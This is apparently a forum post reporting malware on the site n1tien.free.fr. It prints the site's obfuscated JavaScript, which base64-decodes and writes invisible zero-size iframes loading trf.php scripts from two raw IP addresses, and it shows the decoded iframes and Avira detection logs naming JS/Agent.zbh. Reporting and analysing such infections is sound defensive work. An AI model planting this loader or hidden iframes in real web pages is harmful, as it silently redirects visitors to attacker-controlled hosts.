http://n1tien.free.fr/

fireold

1. var k0e0y0S = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
   
2. var EmbR = "PGlmcmFtZSBzcmM9Imh0dHA6Ly8xOTUuMjI2LjIyMC4xMTIvfmFkbWluLy4sbW5idi90cmYucGhwP3NjaD1zY2hlbWExJnM9a2V5d29yZCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";
   
3. var AcR5 = "";
   
4. var X9qV, sxY6, J0lf, wJDZ, CX8e, zRBG, n6dE = "";
   
5. var i = 0;
   
6. var base64test = /[^A-Za-z0-9\+\/\=]/g;
   
7. EmbR = EmbR.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   
8. do {
   
9.     wJDZ = k0e0y0S.indexOf(EmbR.charAt(i++));
   
10.     CX8e = k0e0y0S.indexOf(EmbR.charAt(i++));
    
11.     zRBG = k0e0y0S.indexOf(EmbR.charAt(i++));
    
12.     n6dE = k0e0y0S.indexOf(EmbR.charAt(i++));
    
13.     X9qV = (wJDZ << 2) | (CX8e >> 4);
    
14.     sxY6 = ((CX8e & 15) << 4) | (zRBG >> 2);
    
15.     J0lf = ((zRBG & 3) << 6) | n6dE;
    
16.     AcR5 = AcR5 + String.fromCharCode(X9qV);
    
17.     if (zRBG != 64) {
    
18.         AcR5 = AcR5 + String.fromCharCode(sxY6);
    
19.     }
    
20.     if (n6dE != 64) {
    
21.         AcR5 = AcR5 + String.fromCharCode(J0lf);
    
22.     }
    
23.     X9qV = sxY6 = J0lf = "";
    
24.     wJDZ = CX8e = zRBG = n6dE = "";
    
25. } while (i < EmbR.length);
    
26. document.write(unescape(AcR5));

复制代码

1. <iframe src="http://195.226.220.112/~admin/.,mnbv/trf.php?sch=schema1&s=keyword"
   
2. width="0" height="0" frameborder="0">
   
3. </iframe>

复制代码

1. <iframe src="http://195.234.125.78/.,lkjh//trf.php?sch=schema1&s=keyword"
   
2. width="0" height="0" frameborder="0">
   
3. </iframe>

复制代码

Avira

2013/8/25 下午 12:29 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5XIGF51Y\n1tien_free_fr[1].htm'
      包含病毒或有害的程式 'JS/Agent.zbh' [virus]
      已採取動作：
      發生錯誤，檔案未刪除。錯誤識別碼：26003.
      檔案無法刪除！.
      嘗試使用 ARK 程式庫執行動作。.
      檔案會移動至 '4d983047.qua' 名稱底下的隔離區目錄。.

2013/8/25 下午 12:29 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        806
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/8/25 下午 12:29 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\5XIGF51Y\n1tien_free_fr[1].htm 中
      偵測到病毒或有害的程式 'JS/Agent.zbh [virus]'
      執行的動作：傳輸至掃描程式

2013/8/25 下午 12:29 [Safe Browsing] 封鎖的網頁
      Safe Browsing 封鎖了網頁 http://agcw.com/index.php?tp=865ed3a226f3c35e。此網頁因 色情
      而封鎖。使用者 vardon 有存取此網頁。

2013/8/25 下午 12:29 [Web Protection] 發現惡意程式碼
      從 URL "http://n1tien.free.fr/" 存取資料時，
      發現病毒或有害的程式 'JS/Agent.zbh' [virus]。
      已採取動作：已略過